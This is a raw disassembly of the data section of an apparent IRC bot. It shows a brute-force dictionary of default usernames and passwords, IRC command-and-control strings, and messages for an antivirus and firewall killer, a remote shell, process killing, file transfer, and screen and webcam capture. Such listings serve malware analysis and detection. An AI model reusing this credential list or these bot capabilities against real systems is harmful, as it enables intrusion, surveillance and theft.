dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aStaff ; "staff"
dd offset aRoot ; "root"
dd offset aComputer ; "computer"
dd offset aOwner ; "owner"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aWwwadmin ; "wwwadmin"
dd offset aGuest_0 ; "guest"
dd offset aDefault ; "default"
dd offset aDatabase ; "database"
dd offset aDba ; "dba"
dd offset aOracle ; "oracle"
dd offset aDb2 ; "db2"
align 8
dd offset dword_43D7D8
dd offset aAdministrato_0 ; "administrator"
dd offset aAdministrador ; "administrador"
dd offset aAdministrateur ; "administrateur"
dd offset aAdministrat ; "administrat"
dd offset aAdmins ; "admins"
dd offset aAdmin ; "admin"
dd offset aAdm ; "adm"
dd offset aPassword1 ; "password1"
dd offset aPassword ; "password"
dd offset aPasswd ; "passwd"
dd offset aPass1234 ; "pass1234"
dd offset aPass ; "pass"
dd offset aPwd ; "pwd"
dd offset a007 ; "007"
dd offset a1 ; "1"
dd offset a12 ; "12"
dd offset a123 ; "123"
dd offset a1234 ; "1234"
dd offset a12345 ; "12345"
dd offset a123456 ; "123456"
dd offset a1234567 ; "1234567"
dd offset a12345678 ; "12345678"
dd offset a123456789 ; "123456789"
dd offset a1234567890 ; "1234567890"
dd offset a2000 ; "2000"
dd offset a2001 ; "2001"
dd offset a2002 ; "2002"
dd offset a2003 ; "2003"
dd offset a2004 ; "2004"
dd offset aTest ; "test"
dd offset aGuest_0 ; "guest"
dd offset aNone ; "none"
dd offset aDemo ; "demo"
dd offset aUnix ; "unix"
dd offset aLinux ; "linux"
dd offset aChangeme ; "changeme"
dd offset aDefault ; "default"
dd offset aSystem ; "system"
dd offset aServer ; "server"
dd offset aRoot ; "root"
dd offset aNull_1 ; "null"
dd offset aQwerty ; "qwerty"
dd offset aMail ; "mail"
dd offset aOutlook ; "outlook"
dd offset aWeb ; "web"
dd offset aWww ; "www"
dd offset aInternet ; "internet"
dd offset aAccounts ; "accounts"
dd offset aAccounting ; "accounting"
dd offset aHome ; "home"
dd offset aHomeuser ; "homeuser"
dd offset aUser ; "user"
dd offset aOem ; "oem"
dd offset aOemuser ; "oemuser"
dd offset aOeminstall ; "oeminstall"
dd offset aWindows ; "windows"
dd offset aWin98 ; "win98"
dd offset aWin2k ; "win2k"
dd offset aWinxp ; "winxp"
dd offset aWinnt ; "winnt"
dd offset aWin2000 ; "win2000"
dd offset aQaz ; "qaz"
dd offset aAsd ; "asd"
dd offset aZxc ; "zxc"
dd offset aQwe ; "qwe"
dd offset aBob ; "bob"
dd offset aJen ; "jen"
dd offset aJoe ; "joe"
dd offset aFred ; "fred"
dd offset aBill ; "bill"
dd offset aMike ; "mike"
dd offset aJohn ; "john"
dd offset aPeter ; "peter"
dd offset aLuke ; "luke"
dd offset aSam ; "sam"
dd offset aSue ; "sue"
dd offset aSusan ; "susan"
dd offset aPeter ; "peter"
dd offset aBrian ; "brian"
dd offset aLee ; "lee"
dd offset aNeil ; "neil"
dd offset aIan ; "ian"
dd offset aChris ; "chris"
dd offset aEric ; "eric"
dd offset aGeorge ; "george"
dd offset aKate ; "kate"
dd offset aBob ; "bob"
dd offset aKatie ; "katie"
dd offset aMary ; "mary"
dd offset aLogin ; "login"
dd offset aLoginpass ; "loginpass"
dd offset aTechnical ; "technical"
dd offset aBackup ; "backup"
dd offset aExchange ; "exchange"
dd offset aFuck ; "fuck"
dd offset aBitch ; "bitch"
dd offset aSlut ; "slut"
dd offset aSex ; "sex"
dd offset aGod ; "god"
dd offset aHell ; "hell"
dd offset aHello ; "hello"
dd offset aDomain ; "domain"
dd offset aDomainpass ; "domainpass"
dd offset aDomainpassword ; "domainpassword"
dd offset aDatabase ; "database"
dd offset aAccess ; "access"
dd offset aDbpass ; "dbpass"
dd offset aDbpassword ; "dbpassword"
dd offset aDatabasepass ; "databasepass"
dd offset aData ; "data"
dd offset aDatabasepasswo ; "databasepassword"
dd offset aDb1 ; "db1"
dd offset aDb2 ; "db2"
dd offset aDb1234 ; "db1234"
dd offset aSa ; "sa"
dd offset aSql ; "sql"
dd offset aSqlpassoainsta ; "sqlpassoainstall"
dd offset aOrainstall ; "orainstall"
dd offset aOracle ; "oracle"
dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent ; "student"
dd offset aTeacher ; "teacher"
dd offset aStaff ; "staff"
align 8
dword_429498 dd 10h ; DATA XREF: sub_401ACD+AFBr
; sub_401ACD+B27r ...
aIntranet db 'intranet',0 ; DATA XREF: ___:00429484o
align 4
aLan db 'lan',0 ; DATA XREF: ___:0042947Co
aMain db 'main',0 ; DATA XREF: ___:00429478o
align 4
aWinpass db 'winpass',0 ; DATA XREF: ___:00429474o
aBlank db 'blank',0 ; DATA XREF: ___:00429470o
align 4
aOffice db 'office',0 ; DATA XREF: ___:0042946Co
align 4
aControl db 'control',0 ; DATA XREF: ___:00429468o
aXp db 'xp',0 ; DATA XREF: ___:00429464o
align 4
aNokia db 'nokia',0 ; DATA XREF: ___:00429460o
align 10h
aHp db 'hp',0 ; DATA XREF: ___:0042945Co
align 4
aSiemens db 'siemens',0 ; DATA XREF: ___:00429458o
aCompaq db 'compaq',0 ; DATA XREF: ___:00429454o
align 4
aDell db 'dell',0 ; DATA XREF: ___:00429450o
align 4
aCisco db 'cisco',0 ; DATA XREF: ___:0042944Co
align 4
aIbm db 'ibm',0 ; DATA XREF: ___:00429448o
aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429440o
align 4
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:0042943Co
align 4
aSql db 'sql',0 ; DATA XREF: ___:00429438o
aSa db 'sa',0 ; DATA XREF: ___:00429434o
align 10h
aDb1234 db 'db1234',0 ; DATA XREF: ___:00429430o
align 4
aDb1 db 'db1',0 ; DATA XREF: ___:00429428o
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429424o
align 10h
aData db 'data',0 ; DATA XREF: ___:00429420o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: ___:0042941Co
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: ___:00429418o
align 4
aDbpass db 'dbpass',0 ; DATA XREF: ___:00429414o
align 4
aAccess db 'access',0 ; DATA XREF: ___:00429410o
align 4
aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:00429408o
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429404o
align 10h
aDomain db 'domain',0 ; DATA XREF: ___:00429400o
align 4
aHello db 'hello',0 ; DATA XREF: ___:004293FCo
align 10h
aHell db 'hell',0 ; DATA XREF: ___:004293F8o
align 4
aGod db 'god',0 ; DATA XREF: ___:004293F4o
aSex db 'sex',0 ; DATA XREF: ___:004293F0o
; ___:off_4385B0o
aSlut db 'slut',0 ; DATA XREF: ___:004293ECo
align 4
aBitch db 'bitch',0 ; DATA XREF: ___:004293E8o
align 10h
aFuck db 'fuck',0 ; DATA XREF: ___:004293E4o
align 4
aExchange db 'exchange',0 ; DATA XREF: ___:004293E0o
align 4
aBackup db 'backup',0 ; DATA XREF: ___:004293DCo
align 4
aTechnical db 'technical',0 ; DATA XREF: ___:004293D8o
align 4
aLoginpass db 'loginpass',0 ; DATA XREF: ___:004293D4o
align 4
aLogin db 'login',0 ; DATA XREF: ___:004293D0o
align 4
aMary db 'mary',0 ; DATA XREF: ___:004293CCo
align 4
aKatie db 'katie',0 ; DATA XREF: ___:004293C8o
align 4
aKate db 'kate',0 ; DATA XREF: ___:004293C0o
align 4
aGeorge db 'george',0 ; DATA XREF: ___:004293BCo
align 4
aEric db 'eric',0 ; DATA XREF: ___:004293B8o
align 4
aChris db 'chris',0 ; DATA XREF: ___:004293B4o
align 4
aIan db 'ian',0 ; DATA XREF: ___:004293B0o
aNeil db 'neil',0 ; DATA XREF: ___:004293ACo
align 4
aLee db 'lee',0 ; DATA XREF: ___:004293A8o
aBrian db 'brian',0 ; DATA XREF: ___:004293A4o
align 4
aSusan db 'susan',0 ; DATA XREF: ___:0042939Co
align 4
aSue db 'sue',0 ; DATA XREF: ___:00429398o
aSam db 'sam',0 ; DATA XREF: ___:00429394o
aLuke db 'luke',0 ; DATA XREF: ___:00429390o
align 4
aPeter db 'peter',0 ; DATA XREF: ___:0042938Co
; ___:004293A0o
align 4
aJohn db 'john',0 ; DATA XREF: ___:00429388o
align 4
aMike db 'mike',0 ; DATA XREF: ___:00429384o
align 4
aBill db 'bill',0 ; DATA XREF: ___:00429380o
align 4
aFred db 'fred',0 ; DATA XREF: ___:0042937Co
align 4
aJoe db 'joe',0 ; DATA XREF: ___:00429378o
aJen db 'jen',0 ; DATA XREF: ___:00429374o
aBob db 'bob',0 ; DATA XREF: ___:00429370o
; ___:004293C4o
aQwe db 'qwe',0 ; DATA XREF: ___:0042936Co
aZxc db 'zxc',0 ; DATA XREF: ___:00429368o
aAsd db 'asd',0 ; DATA XREF: ___:00429364o
aQaz db 'qaz',0 ; DATA XREF: ___:00429360o
aWin2000 db 'win2000',0 ; DATA XREF: ___:0042935Co
aWinnt db 'winnt',0 ; DATA XREF: ___:00429358o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: ___:00429354o
align 4
aWin2k db 'win2k',0 ; DATA XREF: ___:00429350o
align 10h
aWin98 db 'win98',0 ; DATA XREF: ___:0042934Co
align 4
aWindows db 'windows',0 ; DATA XREF: ___:00429348o
aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429344o
align 4
aOemuser db 'oemuser',0 ; DATA XREF: ___:00429340o
aOem db 'oem',0 ; DATA XREF: ___:0042933Co
aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o
; ___:00429338o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429334o
align 4
aHome db 'home',0 ; DATA XREF: ___:00429330o
align 4
aAccounting db 'accounting',0 ; DATA XREF: ___:0042932Co
align 10h
aAccounts db 'accounts',0 ; DATA XREF: ___:00429328o
align 4
aInternet db 'internet',0 ; DATA XREF: ___:00429324o
; ___:00429480o
align 4
aWww db 'www',0 ; DATA XREF: ___:00429320o
aWeb db 'web',0 ; DATA XREF: ___:0042931Co
aOutlook db 'outlook',0 ; DATA XREF: ___:00429318o
aMail db 'mail',0 ; DATA XREF: ___:00429314o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: ___:00429310o
align 4
aNull_1 db 'null',0 ; DATA XREF: ___:0042930Co
align 10h
aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo
; ___:00429304o
align 4
aSystem db 'system',0 ; DATA XREF: ___:00429300o
align 10h
aChangeme db 'changeme',0 ; DATA XREF: ___:004292F8o
align 4
aLinux db 'linux',0 ; DATA XREF: ___:004292F4o
align 4
aUnix db 'unix',0 ; DATA XREF: ___:004292F0o
align 4
aDemo db 'demo',0 ; DATA XREF: ___:004292ECo
align 4
aNone db 'none',0 ; DATA XREF: ___:004292E8o
align 4
aTest db 'test',0 ; DATA XREF: ___:004292E0o
align 4
a2004 db '2004',0 ; DATA XREF: ___:004292DCo
align 4
a2003 db '2003',0 ; DATA XREF: sub_41AA42+BAo
; ___:004292D8o
align 4
a2002 db '2002',0 ; DATA XREF: ___:004292D4o
align 4
a2001 db '2001',0 ; DATA XREF: ___:004292D0o
align 4
a2000 db '2000',0 ; DATA XREF: ___:004292CCo
align 4
a1234567890 db '1234567890',0 ; DATA XREF: ___:004292C8o
align 4
a123456789 db '123456789',0 ; DATA XREF: ___:004292C4o
align 4
a12345678 db '12345678',0 ; DATA XREF: ___:004292C0o
align 10h
a1234567 db '1234567',0 ; DATA XREF: ___:004292BCo
a123456 db '123456',0 ; DATA XREF: ___:004292B8o
align 10h
a12345 db '12345',0 ; DATA XREF: ___:004292B4o
align 4
a1234 db '1234',0 ; DATA XREF: ___:004292B0o
align 10h
a123 db '123',0 ; DATA XREF: ___:004292ACo
a12 db '12',0 ; DATA XREF: ___:004292A8o
align 4
a1: ; DATA XREF: ___:004292A4o
unicode 0, <1>,0
a007 db '007',0 ; DATA XREF: ___:004292A0o
aPwd db 'pwd',0 ; DATA XREF: ___:0042929Co
aPass db 'pass',0 ; DATA XREF: ___:00429298o
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: ___:00429294o
align 4
aPasswd db 'passwd',0 ; DATA XREF: ___:00429290o
align 10h
aPassword db 'password',0 ; DATA XREF: ___:0042928Co
align 4
aPassword1 db 'password1',0 ; DATA XREF: ___:00429288o
align 4
aAdm db 'adm',0 ; DATA XREF: ___:00429284o
aDb2 db 'db2',0 ; DATA XREF: ___:00429260o
; ___:0042942Co
aOracle db 'oracle',0 ; DATA XREF: ___:0042925Co
; ___:00429444o
align 4
aDba db 'dba',0 ; DATA XREF: ___:00429258o
aDatabase db 'database',0 ; DATA XREF: ___:00429254o
; ___:0042940Co
align 4
aDefault db 'default',0 ; DATA XREF: ___:00429250o
; ___:004292FCo
aGuest_0 db 'guest',0 ; DATA XREF: ___:0042924Co
; ___:004292E4o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: ___:00429248o
align 4
aTeacher db 'teacher',0 ; DATA XREF: ___:00429244o
; ___:0042948Co
aStudent db 'student',0 ; DATA XREF: ___:00429240o
; ___:00429488o
aOwner db 'owner',0 ; DATA XREF: ___:0042923Co
align 4
aComputer db 'computer',0 ; DATA XREF: ___:00429238o
align 4
aRoot db 'root',0 ; DATA XREF: ___:00429234o
; ___:00429308o
align 10h
aStaff db 'staff',0 ; DATA XREF: ___:00429230o
; ___:00429490o
align 4
aAdmin db 'admin',0 ; DATA XREF: ___:0042922Co
; ___:00429280o
align 10h
aAdmins db 'admins',0 ; DATA XREF: ___:00429228o
; ___:0042927Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: ___:00429224o
; ___:00429278o
aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429220o
; ___:00429274o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: ___:0042921Co
; ___:00429270o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:00429218o
; ___:0042926Co
align 4
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
align 4
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
align 4
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
align 4
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
align 4
a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co
dword_4299A0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 4
dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o
aServerRunningO db '- Server running on Port: 113.',0
align 10h
unk_429A00 db 2Dh ; - ; DATA XREF: ___:00401614o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
unk_429A40 db 2Dh ; - ; DATA XREF: ___:004015C3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 4
dword_429A64 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h
; DATA XREF: ___:00401585o
dd 2E646574h, 0
dword_429A80 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429A8C dd 255C7325h, 73h ; DATA XREF: ___:004013AAo
; sub_415A2F+7Eo
dword_429A94 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo
; sub_40F6B3+EAo ...
unk_429A9C db 2Dh ; - ; DATA XREF: sub_4017ED+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o
align 4
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
align 4
unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
unk_429B24 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 4
unk_429B44 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 10h
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E62o
align 4
unk_429B98 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7E12o
; sub_401ACD+7E79o
align 10h
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401ACD+7DFBo
align 4
asc_429C18: ; DATA XREF: sub_401ACD+7DCBo
unicode 0, <~>,0
unk_429C1C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 10h
unk_429C40 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnectingIn db 'Reconnecting in %s seconds',0
align 4
unk_429C68 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReconnecting_0 db 'Reconnecting in %s ms',0
align 4
unk_429C8C db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0
align 10h
unk_429CB0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0
align 4
unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0
align 4
dword_429CF8 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h
; DATA XREF: sub_401ACD+7C3Ao
dd 2E732520h, 0
unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToKillTh db '- Failed to kill thread: %s.',0
align 10h
unk_429D40 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aKilledThreadS_ db '- Killed thread: %s.',0
align 4
unk_429D64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aNoActiveThread db '- No active threads found.',0
unk_429D8C db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aStoppedDThread db '- Stopped: %d thread(s).',0
align 4
aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo
unk_429DB8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0
align 10h
unk_429DE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0
unk_429E04 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo
db 3, 34h, 2
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFileOpenedS db ' File opened: %s',0
align 4
unk_429E24 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0
align 4
unk_429E4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0
align 4
unk_429E74 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co
db 3, 34h, 2
db 64h ; d
db 6Eh, 73h, 2
db 3
aLookupSS_ db '- Lookup: %s -> %s.',0
align 4
unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTermin db ' Failed to terminate process: %s',0
align 4
unk_429EC4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledS db ' Process killed: %s',0
unk_429EE4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToTerm_0 db ' Failed to terminate process ID: %s',0
unk_429F14 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessKilledI db ' Process killed ID: %s',0
align 4
dword_429F38 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h
; DATA XREF: sub_401ACD+7884o
dd 27732527h, 2Eh
unk_429F54 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aSendFileSUserS db '- Send File: %s, User: %s.',0
dword_429F78 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah
; DATA XREF: sub_401ACD+7785o
dd 0
unk_429F90 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0
align 10h
dword_429FD0 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah
; DATA XREF: sub_401ACD+76E5o
dd 2Eh
dword_429FE8 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h
; DATA XREF: sub_401ACD:loc_40913Fo
dd 746E6573h, 2Eh
unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo
db 3, 34h, 2
db 6Dh ; m
db 69h, 72h, 63h
db 2
db 3, 2Dh, 20h
aClientNotOpen_ db 'Client not open.',0
align 4
dword_42A024 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
; DATA XREF: sub_401ACD+762Fo
dd 732520h
unk_42A03C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aErrorSendingTo db '- Error sending to remote shell.',0
align 4
asc_42A068: ; DATA XREF: sub_401ACD+75F8o
; sub_40F6B3+FBo ...
dw 0Ah
unicode 0, <>,0
unk_42A06C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileFailed db 'Read file failed: %s',0
align 10h
unk_42A090 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aReadFileComple db 'Read file complete: %s',0
align 4
unk_42A0B4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0
align 4
unk_42A0F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0
unk_42A134 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aAmateurVideoSa db '- Amateur video saved to: %s.',0
align 10h
aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o
align 4
unk_42A168 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aInvalidParam_1 db '- Invalid parameters for webcam capture.',0
align 10h
unk_42A1A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_0 db '- Error while capturing from webcam.',0
align 4
unk_42A1D4 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aWebcamCaptureS db '- Webcam capture saved to: %s.',0
aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o
align 4
unk_42A208 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverListComp db '- Driver list complete.',0
align 10h
unk_42A230 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aDriverDSS_ db '- Driver #%d - %s - %s.',0
align 4
aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o
unk_42A260 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aNoFilenameSpec db '- No filename specified for screen capture.',0
align 4
unk_42A29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aErrorWhileCa_1 db '- Error while capturing screen.',0
align 4
unk_42A2CC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o
db 3, 34h, 2
db 63h ; c
db 61h, 70h, 74h
db 75h ; u
db 72h, 65h, 2
db 3
aScreenCaptureS db '- Screen capture saved to: %s.',0
aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo
align 10h
dword_42A300 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh
; DATA XREF: sub_401ACD+7318o
dd 2E732520h, 0
unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUnableToExtrac db 'Unable to extract Gethost command.',0
align 4
unk_42A34C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aGethostSComman db 'Gethost: %s, Command: %s',0
align 4
unk_42A374 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
